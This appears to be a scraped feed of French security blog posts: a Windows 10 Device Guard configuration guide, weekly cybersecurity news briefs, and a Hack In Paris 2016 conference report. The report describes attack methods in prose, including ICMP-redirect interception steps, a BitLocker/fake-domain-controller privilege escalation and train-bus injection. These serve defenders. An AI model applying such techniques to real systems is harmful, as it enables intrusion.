Quantcast
Viewing all 125 articles
Browse latest View live

Solucom devient... Wavestone !



Solucom et les activités européennes de Kurt Salmon donnent naissance à Wavestone, un nouvel acteur majeur du conseil.
Pour plus d'informations, rendez-vous sur notre site web : https://www.wavestone-advisors.com/fr/

Continuez à suivre l'actualité sécurité et les analyses de nos experts sur SecurityInsider !

Cet été, nous nous envolerons pour Las Vegas où nous participerons à l'édition 2016 des conférences BSides et DefCon. Restez connectés sur SecurityInsider et rendez-vous sur Twitter (@SecuInsider) pour ne rien louper de ces événements !

La sécurité de Windows 10 – Partie 2 : Device Guard

Image may be NSFW.
Clik here to view.
Afficher l'image d'origine

Après un premier article sur le "Virtual Secure Mode", nous continuons notre série d'articles sur Windows 10 avec un focus sur la fonctionnalité "Device Guard". Bonne lecture !

Présentation

Chaque jour, des milliers de nouveaux malwares apparaissent et il devient de plus en plus difficile de lutter contre ce flot de programmes malveillants avec, pour seules armes, des outils et méthodes traditionnelles comme la détection basée sur la signature.
C’est dans ce contexte que Microsoft a développé Device Guard, une fonctionnalité uniquement disponible sur Windows 10 Entreprise permettant de verrouiller des appareils afin qu’ils n’exécutent que des applications, scripts et pilotes approuvés. Une application approuvée est une application dite de confiance, dont le code est signé par des signataires de confiance. Ainsi, un programme non approuvé ne pourra tout simplement pas s’exécuter sur l’appareil.
Dans l’article précédent, nous parlions de Virtual Secure Mode qui permet de protéger le système en protégeant les processus et données critiques dans une partition virtuelle sécurisée. Device Guard utilise cette technologie afin d’isoler Code Integrity, le service permettant de vérifier l’intégrité du noyau Windows. Ainsi, un attaquant aura plus de mal à exécuter un code malveillant puisque celui-ci pourra être bloqué par Device Guard.

Fonctionnement

Aujourd’hui, les postes de travail évoluent sans cesse et de nouvelles applications s’ajoutent, se suppriment ou se mettent à jour régulièrement. Device Guard est plutôt conçu pour les postes maitrisés où l’environnement ne va pas changer aussi souvent qu’un poste classique. Ainsi ce sont les postes dits critiques ou sensibles, telles que les postes d’administration, qui sont visés par Device Guard.
Plus qu’un nouveau mécanisme de sécurité, Device Guard est un ensemble de fonctionnalités de sécurité matérielle et logicielle. C’est lorsque toutes ces fonctionnalités sont activées simultanément que Device Guard apporte le plus haut niveau de sécurité. La première est Hyper-V Code Integrity (HVCI), l’un des services de la sécurité basée sur la virtualisation. Il permet de s’assurer que seuls les drivers, exécutables et DLLs respectant la stratégie d’entreprise sont autorisés à se lancer.
Dès le démarrage de l’appareil, Hyper-V Code Integrity va vérifier l’ensemble de ce qui s’exécute sur celui-ci et en particulier contrôler les drivers qui se chargent en mémoire afin de n’autoriser que les drivers signés. Cette exécution anticipée dans le lancement de la machine a pour but d’empêcher les programmes malveillants de s’exécuter au démarrage de l’appareil.
Figure 1 : Architecture du système avec Device Guard
HVCI utilise la sécurité basée sur la virtualisation afin d’isoler Code Integrity, un contrôleur de signatures des pilotes et fichiers chargés en mémoire qui s’exécute avec le secure kernel, noyau sécurisé de la partition sécurisée du Virtual Secure Mode. Ce service permet d’améliorer la sécurité du système en validant l’intégrité d’un pilote ou d’un fichier chaque fois que celui-ci est chargé dans le noyau.De manière concrète, Code Integrity est chargé de confirmer que le code dans les pages est signé, ce qui va permettre au secure kernel de marquer les entrées dans l’EPT (Extended Page Tables), les pages mémoire du kernel, comme exécutables. Ainsi, les pages mémoire d’un code non signé comme celui d’un malware par exemple n’ont pas les droits d’écriture ni d’exécution (+WX), empêchant de facto la modification d’un code exécutable.
De plus, Device Guard met à disposition une fonctionnalité utilisant UEFI afin d’empêcher sa désactivation, par exemple par un attaquant ayant compromis le poste. Une fois cette fonctionnalité activée, il devient impossible de désactiver Device Guard de manière classique. Une variable UEFI protégée est créée afin de bloquer l’activation de celui-ci, et ce dès le démarrage de la machine. Afin de désactiver Device Guard, il va falloir supprimer cette variable UEFI, ce qui ne peut être fait que poste par poste, ou bien en utilisant un outil de déploiement bas-niveau comme « Management Engine » d’Intel.
Figure 2 : Processus de sécurisation Windows 10
Code Integrity va permettre l’exécution dans le kernel du code de confiance et des programmes approuvés dans l’environnement utilisateur. Pour cela, il s’appuie sur une stratégie appelée « Code Integrity Policy ». Cette stratégie est un fichier déployé sur les postes de travail qui référence les signataires de code de confiance. Ainsi, le code signé par un signataire référencé dans le Code Integrity Policy aura le droit de s’exécuter sans restriction. Il faut aussi savoir que Microsoft est automatiquement un signataire de confiance. Les applications provenant du Windows Store, par exemple, sont signées par Microsoft et ne sont donc pas bloquées par Device Guard. Pour bloquer des applications au cas par cas, il convient de se tourner vers AppLocker et de créer les règles spécifiques. D’une manière générale, Device Guard va faire le gros grain quand AppLocker va permettre d’affiner le filtrage du code autorisé à s’exécuter sur la machine.
Un Code Integrity Policy de référence peut être créé afin d’être déployé sur un nombre important de machines. Cette stratégie de référence est appelée « GoldenCode Integrity Policy » et est créée à partir d’une machine de référence contenant les applications que l’entreprise souhaite inclure dans sa stratégie. L’administrateur peut lancer un scan du système à la recherche de tous les fichiers qui va permettre la création de la stratégie. On peut ainsi imaginer une entreprise créer sa « Golden Code Integrity Policy » à partir d’un master Windows 10.
Après avoir déployé la stratégie Code Integrity sur les machines, toutes les applications non signées par un signataire de confiance se verront refuser l’exécution sur la machine. Il reste néanmoins toujours possible de les inclure dans la stratégie d’entreprise. Ceci est possible grâce aux catalogues de fichiers. Les catalogues sont des fichiers au format .cat contenant des empreintes des fichiers approuvés, ils sont créés grâce à des commandes Powershell. Un catalogue ne référence que les empreintes de fichiers, il n’est pas suffisant à lui seul pour permettre aux applications non encore approuvées de s’exécuter sur le système. Afin de les autoriser, il va falloir signer ce catalogue avec un certificat appelé « Device Guard code signing certificate ». Ce dernier peut être acheté ou bien créé en utilisant une autorité de certification interne, selon une procédure fournie par Microsoft. Une fois le catalogue signé par ce certificat de signature, il faut le rajouter dans le Code Integrity Policy. C’est seulement à ce moment que le catalogue, et par extension, les empreintes  de fichiers qu’il contient, est considéré comme signé par un signataire de confiance
Si l’entreprise ne dispose pas d’une infrastructure de gestion des clés interne, il est possible de faire signer le fichier catalogue directement par Microsoft via l’application« Device Guard Signing Portal » et se trouvant sur le Windows Store for Business. Il est ensuite possible de télécharger le certificat pour l’ajouter à la stratégie Code Integrity existante.

Prérequis

Device Guard nécessite quelques prérequis permettant de fournir un haut niveau de sécurité :
  • Windows 10 Enterprise 64-bits
  • Le verrouillagede l’interpréteur de commandes UEFI et des options de la fonction Démarrage sécurisé.
  • Technologies de virtualisation matérielles (Intel VT-x ou AMD-V)
  • Technologie de gestion de mémoire virtualisée  IOMMU (VT-d, AMD-Vi, etc.) afin de gérer les accès mémoire vers le monde sécurisé
  • Les pilotes en mode noyau doivent être compatibles avec Code Integrity.
  • La puce TPM version 2.0 pour le stockage des secrets (informations d’identification).
Néanmoins, la sécurité basée sur la virtualisation peut être activée malgré certaines contraintes matérielles non respectées, la sécurité du système en sera par contre réduite.

Configuration

Les fichiers catalogues

Device Guard en mode appliqué nécessite que chaque application présente sur le système soit signée et approuvée par la stratégie d’intégrité du code. Les applications signées par Windows Store sont automatiquement approuvées par le système, mais si l’on souhaite exécuter d’autres applications, celles-ci doivent être signées avant l’application de la politique Device Guard.
Pour ce faire, Windows 10 propose un outil appelé « Inspecteur de package » qui effectue le suivi de l’installation et l’exécution des applications que l’on souhaite faire approuver, et met leurs empreintes dans un fichier catalogue.
Attention : pour créer un fichier catalogue, il faut s’assurer que la stratégie d’intégrité de code est exécutée en mode audit (Cf. La stratégie d’intégrité du code), car une fois la politique déployée, aucune application ne pourra s’exécuter sur le système, et donc être mise dans le catalogue.
Pour créer le fichier catalogue, il faut tout d’abord exécuter l’inspecteur de package pour capturer les empreintes de chaque fichier binaire des applications que l’on souhaite approuver :
PackageInspector.exe Start C :
Ensuite, il faut copier les supports d’installation des applications sur le lecteur C : (ou n’importe quel autre lecteur) puis les installer et démarrer afin de s’assurer que toutes les mises à jour du produit sont installées.
Une fois cette étape terminée, il faut arrêter l’analyse à l’issue de laquelle deux fichiers sont générés : le fichier catalogue .cat et le fichier de définition .cdf
PackageInspector.exe Stop C :
La dernière étape consiste à signer le fichier catalogue et le déployer afin qu’il soit approuvé par la stratégie d’intégrité du code. On suppose qu’avant cette étape nous avons acheté ou créé un certificat de signature qu’on utilisera pour signer les catalogues :
.\signtool.exe sign /debug /f dg-cert.pfx /fd sha256 /v $CatFileName
dg-cert.pfx est le nom du certificat et $CatFileName est la variable contenant le chemin vers le fichier catalogue créé.
Afin de déployer le fichier, il suffit de le copier à l’emplacement suivant : C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}

La stratégie d’intégrité du code

Il faut au départ activer la protection de l’intégrité du code basée sur la virtualisation et activer Code Integrity :
Figure 3 : Activation de la sécurité basée sur la virtualisation
On peut ensuite passer au scan des fichiers pour créer la stratégie Code Integrity de référence avec les commandes :
New-CIPolicy –level PcaCertificate –Fallback Hash –ScanPath C : -UserPEs –FilePath .\CIPolicy.xml 3>.\warning.txt
ConvertFrom-CIPolicy .\CIPolicy.xml .\CIPolicy.bin
Une fois la stratégie créée, il faut copier le fichier binaire « CIPolicy.bin » à l’emplacement C:\Windows\System32\CodeIntegrity et le déployer via la configuration ordinateur\Modèles d’administration\Système\Device Guard de la stratégie de groupe locale et copier le chemin d’accès:
Figure 4 : Déploiement de la stratégie d’intégrité du code
Il est également conseillé de soumettre la stratégie de code créée à un audit avant de la déployer. Cette étape permettra de surveiller les exceptions consignées dans le journal des évènements CodeIntegrity lorsque l’exécution des applications ne correspond pas à la stratégie de référence. Pour ce faire, il faut ouvrir l’observateur des évènements, à l’emplacement Journaux des applications et des services\Microsoft\CodeIntegrity\Opérationnel
Finalement, pour appliquer la stratégie créée et auditée, il suffit de supprimer l’option de règle en mode audit et redémarrer la machine:
Set-RuleOption -Option 3 –Delete .\CIPolicyv1.xml
ConvertFrom-CIPolicy .\CIPolicy.xml .\CIPolicy.bin
Restart-Computer

Pour vérifier que les options Device Guard sont disponibles et actives, on peut exécuter msinfo32.exe depuis une session PowerShell avec élévation de privilèges:
Figure 5 : Les options Device Guard actives dans les informations système

 Conclusion

Introduite par Microsoft, Device Guard est à ce jour la meilleure façon de protéger un système Windows 10 entreprise contre les menaces liées aux programmes malveillants et l’une des fonctionnalités majeures pour renforcer l’intégrité des systèmes logiciels et matériels. Toutefois, son déploiement ne se fait pas en un simple clic mais nécessite un certain nombre de configurations matérielles et logicielles, en plus des prérequis nécessaires pour le bon fonctionnement des applications, tels que la création et la signature des fichiers catalogues, choses qui demandent une bonne connaissance de l’environnement Windows. Il faut également noter la nécessité de mettre à jour les fichiers catalogues lors des mises à jour applicatives.

Références

Abderahmane HABAIEB & Imane BELHAOUS

CERT-Solucom : retour sur l'actualité de la semaine du 11 au 15 juillet


Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !

[Brève] Httpoxy : une vulnérabilité pour les applications fonctionnant en environnement CGI permettant à un attaquant de définir un proxy HTTP arbitraire côté serveur et ainsi d’intercepter les flux
Sources :
https://httpoxy.org/ https://blog.qualys.com/laws-of-vulnerabilities/2016/07/18/cgi-application-vulnerability-httpoxy-for-php-go-python-and-others

[Brève] Des chercheurs de la société Vectra découvrent une vulnérabilité sur Windows lié à la gestion des imprimantes et permettant l’exécution de code arbitraire sur le système
Le patch de sécurité MS16-087 corrige cette vulnérabilité.
Sources :
http://blog.vectranetworks.com/blog/microsoft-windows-printer-wateringhole-attack http://blog.vectranetworks.com/blog/the-new-vulnerability-that-creates-a-dangerous-watering-hole-in-your-network https://nakedsecurity.sophos.com/2016/07/14/pwned-by-your-printer-microsoft-patches-critical-printer-spooler-bug https://technet.microsoft.com/library/security/MS16-087

[Brève] Le département de la Santé et des Services sociaux des États-Unis (HHS) publie une procédure de prévention et réaction face aux attaques par rançongiciel (ransomware)
Ce document est publié en réponse aux multiples affaires de rançonnage de données de santé au sein d’hôpitaux américains, dont par exemple le Hollywood Presbyterian Medical Center qui avait dû payer 17 000$ en février 2016 pour retrouver les données de ses patients.
Sources :
http://www.hhs.gov/blog/2016/07/11/your-money-or-your-phi.html http://www.hhs.gov/sites/default/files/RansomwareFactSheet.pdf https://duo.com/blog/new-hipaa-guidance-on-ransomware-in-healthcare http://www.lefigaro.fr/secteur/high-tech/2016/02/16/32001-20160216ARTFIG00205-un-hopital-americain-paralyse-par-des-pirates-informatiques.php

[Brève] Ranscam, un rançongiciel qui détruit les fichiers
Ce nouveau malware utilise des techniques d’intimidation afin d’inciter les victimes à payer le plus rapidement possible la rançon sous peine de voir leurs fichiers disparaître. En réalité les fichiers de la victime sont supprimés dès la compromission du poste de travail et le paiement de la rançon ne permet pas de récupérer les fichiers disparus.
Sources :
http://blog.talosintel.com/2016/07/ranscam.html http://arstechnica.com/security/2016/07/posing-as-ransomware-windows-malware-just-deletes-victims-files/

[Brève] La société NCC Group publie un outil de réponse aux attaques par rançongiciel
Sources :
https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2016/july/ransomware-how-vulnerable-is-your-system/ https://github.com/nccgroup/ransomware-simulator

[Brève] La société Qualys met à jour son guide de bonnes pratiques pour l’utilisation de SSL/TLS
Ce document [1][2] est à compléter avec l’outil « SSL Configuration Generator » [2] de Mozilla permettant de choisir simplement les algorithmes et protocoles de chiffrement à supporter pour les échanges SSL/TLS.
Sources :
[1] https://blog.qualys.com/ssllabs/2016/06/27/new-release-of-ssltls-deployment-best-practices [2] https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices [3] https://mozilla.github.io/server-side-tls/ssl-config-generator/

[Brève] Des versions piégées de l’application Pokemon GO pour Android diffusées sur Internet
L’application dont-tout-le-monde-parle-en-ce-moment basée sur la fameuse franchise de Nintendo n’étant pas disponible officiellement dans plusieurs pays européens, de nombreux utilisateurs ont donc pris l’initiative d’installer l’application à partir de sites tiers. Toutefois certaines versions accessibles sur internet sont malveillantes et installent une porte dérobée avant de contacter un C&C.
Sources :
https://blog.lookout.com/blog/2016/07/15/pokemon-go/ https://www.proofpoint.com/us/threat-insight/post/droidjack-uses-side-load-backdoored-pokemon-go-android-app

[Brève] Plus de 108 patchs de sécurité pour Android publiés début juillet 2016
Sources :
https://blog.lookout.com/blog/2016/07/07/july-android-security-bulletin/

[Brève] La société AV-TEST évalue la sécurité de 7 bracelets connectés
Sources :
https://www.grahamcluley.com/2016/07/fitness-trackers-falling-short-security-reveals-new-report/ https://www.av-test.org/en/news/news-single-view/seven-fitness-wristbands-and-the-apple-watch-in-a-security-check-2016/ https://www.av-test.org/fileadmin/pdf/avtest_2016-07_fitness_tracker_english.pdf

[Brève] La société PenTestPartners évalue la sécurité (exécrable) d’une caméra IP qualifiée « Secured by Design » par la police britannique
Sources :
https://www.pentestpartners.com/blog/home-security-camera-isnt-secure-spotcam-in-the-spotlight/ http://www.securedbydesign.com/

[Brève] La société SWIFT fait appel à BAE Systems et Fox-IT afin de renforcer ses équipes sécurité suite aux récentes attaques sur le réseau inter-bancaire
Sources :
http://www.reuters.com/article/us-swift-banks-cyber-idUSKCN0ZR18T

[Brève] Une vulnérabilité dans le produit OpenSSH permet à un attaquant d’énumérer les utilisateurs valides sur le système cible
Sources :
http://www.theregister.co.uk/2016/07/17/openssh_has_user_enumeration_bug/ http://seclists.org/fulldisclosure/2016/Jul/51

[Brève] 8 banques taiwanaises désactivent temporairement leurs Distributeurs Automatiques de Billets suite à la présence d’un malware ayant permis le vol de 3 millions de dollars
Sources :
http://www.straitstimes.com/asia/east-asia/thieves-steal-3-million-in-taiwan-atm-heist-with-help-of-malware

[Brève] Le PCI-DSS Council publie plusieurs guides et notes d’information à destination des PME pour la protection des informations de carte bancaire
Sources :
https://www.pcisecuritystandards.org/pci_security/small_merchant

[Brève] L'ANSSI devient partenaire Gold de l'Open Information Security Foundation et soutient le projet open-source de détection et prévention d’intrusion Suricata
Sources :
http://www.ssi.gouv.fr/actualite/lanssi-rejoint-lopen-information-security-foundation/

[Brève] 2 millions d’authentifiants des utilisateurs des forums d’Ubuntu fuitent suite à une attaque via une injection SQL
Sources :
https://threatpost.com/two-million-passwords-breached-in-ubuntu-hack/119335/ http://www.veracode.com/blog/2016/07/ubuntu-forums-hacked-%E2%80%93-how-secure-your-community

[Brève] Facebook démarre le déploiement du chiffrement bout à bout dans l’application Messenger
Sources :
http://newsroom.fb.com/news/2016/07/messenger-starts-testing-end-to-end-encryption-with-secret-conversations/

[Brève] Le projet CrypTech vise à fournir un HSM open-source
Sources :
http://etherealmind.com/response-cryptech-a-open-source-hsm/ https://www.helpnetsecurity.com/2016/07/19/open-source-hardware-cryptographic-module-sold-800/ https://cryptech.is/

[Brève] Le malware Keydnap vole les mots de passe stockés dans le trousseau de clé Mac OS X
Sources :
https://www.helpnetsecurity.com/2016/07/08/keydnap-osx-malware/

Xavier GERONDEAU

Compte-rendu de la Hack In Paris 2016


Wavestone était présent à la 6èmeédition de la conférence Hack in Paris qui s’est déroulée du 30 juin au 1er juillet et précédait la Nuit du Hack.
Vous trouverez ci-dessous un compte-rendu des conférences auxquelles nous avons assisté.

Jour 1

1.1 Voting between sharks

Les chercheurs Jésus Choliz et Sandra Guasch ont présenté une conférence sur la possibilité de mise en place d’un système de vote en ligne ainsi que les différents moyens de mettre à mal ce dernier. Pour citer les auteurs du talk : « il est possible de le mettre en œuvre correctement, même si il existe des milliers de façons de mal s’y prendre ».
Le système de vote proposé est assez similaire au système actuel, en remplaçant les différents éléments de la chaîne de vote (urne, personnes en charge de la validation du vote ou du décompte, etc) par des infrastructures numériques. Le système est alors vulnérable aux attaques auxquelles sont soumises ces infrastructures et par conséquent, un certains nombres de vérifications doivent être mises en place pour assurer l’anonymat, l’intégrité et la confidentialité d’un bout à l’autre de la chaîne.
Dans un premier temps, le votant reçoit un jeton unique lui permettant d’émettre son vote, puis de vérifier une fois ce dernier émis la conformité avec le choix sélectionné. Le bulletin de vote est ensuite chiffré côté client, puis envoyé sur un canal sécurisé (SSL/TLS). Enfin, ce bulletin ne pourra être déchiffré par le comité des élections ni avant la fin du vote ni de manière unitaire, grâce aux procédés suivants :
  • Le partage des clés secrètes de Shamir : chaque destinataire connaît une partie de la clé, ne lui permettant pas de déchiffrer le message ;
  •  Le chiffrement homomorphe : tous les bulletins doivent être déchiffrés en même temps et un bulletin ne peut pas être déchiffré de manière unitaire
Le système de vote complet permet ainsi de sécurisé le vote électronique tout en restant proche du modèle de vote classique grâce à un certain nombre de propriétés cryptographiques et en se reposant sur des mécanismes robustes et éprouvés, tels que les infrastructure à clé publique ou bien l’authentification double facteur.

1.2  Whisper in the Wire: Voice command injection Reloaded

Ce talk a été présenté Chaouki Kasmi et Jose Lopes Esteves, experts sécurité à l’ANSSI, et fait suite à la conférence Hack in Paris 2015 intitulée « You don’t hear me but your phone voice interface does ». Lors de cette conférence, les auteurs ont présenté les résultats de leur recherche sur l’injection de commandes vocales à destination de smartphones via des ondes électromagnétiques situées sur une bande de fréquence inaudible.
Les auteurs du talk ont remarqué que sur une grande majorité des smartphones, la connectique liée au chargeur USB était située suffisamment proche de celle du microphone pour que les variations d’intensité et de tension puissent être utilisées pour transmettre des commandes vocales au microphone, qui agit alors comme une antenne. Trois scenarii d’attaque ont été présentés :
  • Attaque via le réseau électrique sur le téléphone en chargement via câble USB et bloc d’alimentation USB à secteur ;
  • Attaque via le réseau électrique sur lequel est branché un ordinateur utilisé pour recharger le téléphone : un contournement des filtres passe-haut de la carte mère est nécessaire, ainsi que le maintien du poste de travail dans un état fonctionnel ;
  •  Attaque directe du téléphone en chargement via l’utilisation d’un bloc d’alimentation modifié.

1.3 Machine learning-based techniques for network intrusion detection

Cette conférence a été présentée par Clarence Chio (Shape Security) et se concentre sur la mise en application des avancées dans le domaine de l’apprentissage et de la fouille de données. Ces avancées sont actuellement utilisées par des fonctionnalités du type « les utilisateurs qui ont acheté ceci ont aussi acheté… ».
Le chercheur propose d’utiliser ces mêmes avancées afin de détecter des comportements suspects, malveillants ou bien de détecter de nouvelles attaques sur les systèmes actuels.
La conférence s’est majoritairement concentrée sur les techniques de création de modèles de « normalité » et la sélection des caractéristiques pertinentes, puis sur l’entraînement de ces modèles afin d’augmenter leur robustesse.
La seconde partie du talk s’est orienté vers les différents types d’attaques qu’il est possible de mettre en œuvre à l’encontre de ce système de détection. Bien que les méthodes utilisées soient particulièrement techniques, le but reste le même : il s’agit d’élargir peu à peu la frontière définissant la « normalité » par insertion de bruit ou de comportements proches de cette frontière à une fréquence faible. Sur le long terme, il redevient alors possible de contourner le système de détection.

1.4 What could have derailed the Northeast Regional no. 188?

Présentée par Moshe Zioni, cette conférence analyse l’accident du train Northeast Regional 188 et montre en quoi cela aurait pu être une cyberattaque. Ledit train a souffert d’un excès de vitesse (100 miles/h) dans une courbe limitée à 50 miles/h, entraînant son déraillement ainsi qu’un bilan de 8 morts et plus de 200 blessés.
Le modèle de train évoqué est l’Amtrak Citites Sprinter, possédant en tête des wagons une locomotive électrique contrôlée par un automate Siemens SIBAS 32. Les ordres sont transmis entre les différents composants du train par un bus appelé MVB (Multifunction Vehicle Bus), partagé entre un nœud maître et des nœuds esclaves.
Le protocole utilisé par le MVB souffre des mêmes défauts qu’une grande partie des protocoles liés aux automates industriels, à savoir une absence d’authentification ou de chiffrement des communications. Après avoir examiné la structure des paquets transitant sur le MVB, le conférencier explique qu’il est possible d’abuser de la fonctionnalité de détection de nouveaux nœuds du nœud maître afin de s’insérer comme second nœud maître. L’accès physique au MVB est possible depuis des cabines/systèmes accessibles aux voyageurs (gestion des lumières, de la climatisation, etc). Selon l’auteur, il pourrait également être possible d’accéder au MVB depuis le Wifi proposé en accès libre dans le train.
Le talk se conclut sur le besoin d’abandonner ces systèmes vétustes au profit de réseaux alternatifs tout aussi fonctionnels, ainsi que sur la nécessité de forcer la séparation logique et physique entre les systèmes de contrôles et les systèmes offerts en accès aux utilisateurs.

1.5 All your door belong to me – Attacking physical access systems

Lors de sa conférence, Valérie Thomas a présenté les dernières avancées dans le domaine de la sécurité du contrôle d’accès physique (portes, portiques, lecteurs de cartes, badges d’accès…). La vision de la sécurité au sein de ce domaine est différente de celle que l’on observe dans le monde de la sécurité informatique : héritée d’une culture militaire, les utilisateurs ne sont pas habitués au système de mise à jour qui rend ce système réticent au changement.
La présentation des attaques s’est orientée autour de trois axes :
  • Vulnérabilités des badges d’accès : différences techniques entre les badges haute et basse fréquence, chiffrement des données (si applicable), duplication des badges d’accès (exemple avec Proxmark3)… ;
  • Vulnérabilités des lecteurs de cartes : rejeu des authentifications, attaques par déni de service… ;
  • Vulnérabilités des équipements de contrôle d’accès : déclenchement de l’ouverture depuis l’autre côté du portique, présence de l’équipement sur le réseau et protocoles non sécurisés en place (FTP, http non authentifié…)
La conférence s’est conclue sur le long chemin restant à parcourir avant d’obtenir un niveau de sécurité pour le contrôle d’accès physique équivalent au niveau actuel en sécurité logique.

1.6 From zero to SYSTEM on full disk encrypted Windows system

Les chercheurs Nabeel Ahmed et Tom Gilis ont présenté un talk concernant le déverrouillage et l’élévation de privilèges sur un poste de travail Windows (jusqu’à Windows 10 compris), même chiffré avec Bitlocker. Dans ce dernier cas, leur attaque nécessite cependant que Bitlocker utilise la clé stockée sur TPM et non un code PIN pré-boot ou un jeton USB.
L’attaque proposée prend la suite de l’exploitation de MS15-122 telle que décrite par Ian Haken, à savoir la corruption du cache d’identifiant local en utilisant un faux contrôleur de domaine simulant un mot de passe expiré pour la victime. Lors de cette attaque, bien que le changement de mot de passe ait été un succès, l’attaquant ne pouvait pas s’authentifier correctement sur le faux contrôleur puisque le compte machine de la victime n’était pas présent avec les identifiants corrects. Cette vulnérabilité a depuis été corrigées.
Le patch proposé par Microsoft a cependant été contourné par les deux chercheurs qui ont ajouté le nom principal de service (SPN) au compte machine situé sur le faux contrôleur. Un ticket Kerberos TGT est émis, puis un ticket TGS. Cependant, le TGS n’est vérifié (à l’aide du mot de passe du compte machine, ici inconnu) qu’après changement du cache local du mot de passe utilisateur.
Les deux chercheurs décident alors d’aller plus loin dans l’exploitation, et d’obtenir les privilèges SYSTEM sur le poste. Ils choisissent d’utiliser l’application des GPO machines (exécutée avec les droits SYSTEM) pour forcer l’exécution d’une invite de commande. Le point bloquant rencontré (la nécessité de correspondance entre le SID machine et le SID présent sur le faux contrôleur) a été résolu grâce à l’une des fonctionnalités récentes de l’outil Mimikatz. L’exploitation réussit, et les chercheurs sont désormais administrateurs du poste.

Jour 2

2.1 API + 1000 lines of code = Super pretty OSINT

Matias Katz a présenté ce talk dans lequel il décrit comment il a interfacé les API Twitter et Google avec la bibliothèque Python Natural Language Toolkit (NLTK) pour créer un outil capable rapidement d’identifier le lieu d’écriture d’un tweet, ainsi que la tendance générale (positive, négative ou neutre) associée à ce tweet.
L’outil proposé n’a aucune vocation commerciale, et permet à son auteur de déterminer le point de vue moyen d’une région particulière du blog (l’exemple fourni étant le point du vue des États-Unis sur le brexit).

2.2 Security offense and defense strategies: Video-game consoles architecture under microscope

Mathieu Renard et Ryad Benadjila (ANSSI) ont présenté un talk sur la sécurité des consoles de jeu vidéo. L’importance du risque financier associé au piratage des jeux vidéo l’attention particulière portée à la sécurité hardware des consoles.
La Playstation 1 ne présentait presque aucune mesure de sécurité, ce qui a permis l’apparition de systèmes de triches tels qu’Action Replay. Le système de protection des CD de jeu par DRM a également été contourné.
Le conférencier a ensuite présenté les différents systèmes de sécurité des consoles récentes et les attaques mises en œuvre pour contourner ces systèmes dont :
  • Xbox 1 : utilisation du secure boot, de code bootloader read-only...
  • Xbox 360 : utilisation d’un coprocesseur cryptographique, virtualisation via un hyperviseur avec contrôles d’intégrités, présence d’un « e-fusible » en prévention de rétrogradation de la version du firmware console ;
  • PS3 : virtualisation via un hyperviseur, protection contre les attaques Direct Memory Access (DMA), mais absence de protection W^X (write or execute, but not both)
  • PS4 : utilisation du secure boot, protection W^X, ASLR sur l’espace mémoire utilisateur…
Les attaques sur consoles ont montré qu’il était possible de compromettre ces dernières soit par une exploitation software ou hardwarevisant à trouver des vulnérabilités dans les systèmes de protection ou codes de bootstrap de la console.

2.3  DIFFDroid – Dynamic analysis made easier for Android

L’outil DIFFDroid présenté par Anto Joseph est un framework d’analyse d’applications Android permettant à son utilisateur de journaliser les opérations effectuées, ou bien de modifier la logique de ces dernières. Il se base sur l’outil Frida qui permet d’instrumenter les applications Android.
DIFFDroid permet à l’utilisateur de reposer sur des modules préexistants (dont les modules XPosed) ou bien écrits en JavaScript afin de réaliser l’instrumentation de l’application. Il est ainsi possible de faire croire à un téléphone rooté que ce dernier n’est pas rooté, permettant alors de contourner les restrictions de plusieurs applications tierces.

2.4 HARDSPLOIT tool: the next hardware hacking laboratory?

Yann Allain et Julien Moinard ont présenté Hardsploit, un outil physique dédié aux tests d’intrusion matériels. L’outil peut permettre d’analyser des équipements « intelligents » (Internet of Things ou IOT), qui sont particulièrement révélateurs des habitudes de leur possesseur.
Hardsploit repose sur des procédés connus d’accès aux équipements embarqués (CAN, UART, JTAG, SPI…) pour accéder au firmware de ce dernier, permettant à l’utilisateur de le reverser.
Une démonstration a été effectuée sur un système de digicode pour porte.
Quelques auditeurs Wavestone ont suivi l’an dernier la formation sur le Hardware Hackingdonnée par les auteurs, qui est de grande qualité. Yann Allain et Julien Moinard seront présents cette année à la BlackHat, mais leur formation est « sold out ».

2.5 Type=5, Code=1 (or Lady-in-the-Middle)

Dorota Kulas a présenté un talk autour de l’attaque de type ICMP redirect, permettant d’effectuer des interceptions réseau (Man-in-the-Middle). Des évolutions du noyau Linux ont rendu cette attaque impraticable, assertion qu’essaiera d’invalider la conférencière.
L’attaque historique consistait en l’envoi d’un paquet ICMP redirect à la victime afin de s’ajouter en tant que canal de communication plus rapide que le passage par la passerelle par défaut. La mitigation de cette attaque consistait à vérifier que le paquet ICMP redirect émanait bien de la gateway par défaut.
Le contournement proposé par Dorota Kulas consiste à simuler une communication d’un serveur externe vers la victime pour que la victime envoie un paquet hors du LAN. Les conditions suivantes sont requises :
  • Connaissance de l’adresse IP de la passerelle par défaut « G »
  • Connaissance d’un serveur externe « T » susceptible de communiquer avec la victime
  • Présence dans le même sous-réseau que la victime « V »
L’attaquant envoie alors un paquet ICMP echo requestà destination de « V » en usurpant l’adresse de « T ». La victime envoie alors un paquet echo replyà destination de « T » qui passe par la passerelle. Le serveur envoie alors un paquet ICMP redirectà destination de « V » en usurpant l’adresse de « G ».

2.6 How to successfully execute a professional Social Engineering attack – and make money with it!

Dominique Brack (Reputelligence) a présenté un talk centré sur le Social Engineering, à savoir la capacité à mettre à mal les ressources humaines et sociales d’une infrastructure afin d’obtenir des informations sensibles.
Le conférencier a montré l’importance du Social Engineering comme élément clé des attaques ciblées, de par sa facilité d’exécution (personnel non sensibilisé, toolkitsà disposition de l’attaquant) et la qualité des informations obtenues.
A suivi un tour d’horizon des différentes techniques, dont font partie l’écoute active, la récupération des données sensibles jetées aux ordures… dans le but d’établir un schéma des connexions et niveau de relation entre les différents acteurs et composants de l’infrastructure ciblée, permettant ensuite à l’attaquant de sélectionner avec précision le maillon faible de sa cible.

Reputelligence a publié un ouvrage dénommé « Social Engineering Engagement Framework » qui récapitule les différentes techniques et principes utilisés lors de telles attaques, ainsi qu’un tour d’horizon des moyens de détection et remédiation.

Jean MARSAULT

CERT-Solucom : retour sur l'actualité de la semaine du 8 au 12 août


Comme chaque semaine, retrouvez notre revue d'actualité de la sphère cyber-sécurité. Cette compilation de brèves vous permettra d'alimenter les discussions des prochaines pauses cafés !

[Brève] ProjectSauron, aka Strider, la nouvelle APT qui rivalise avec les plus grandes
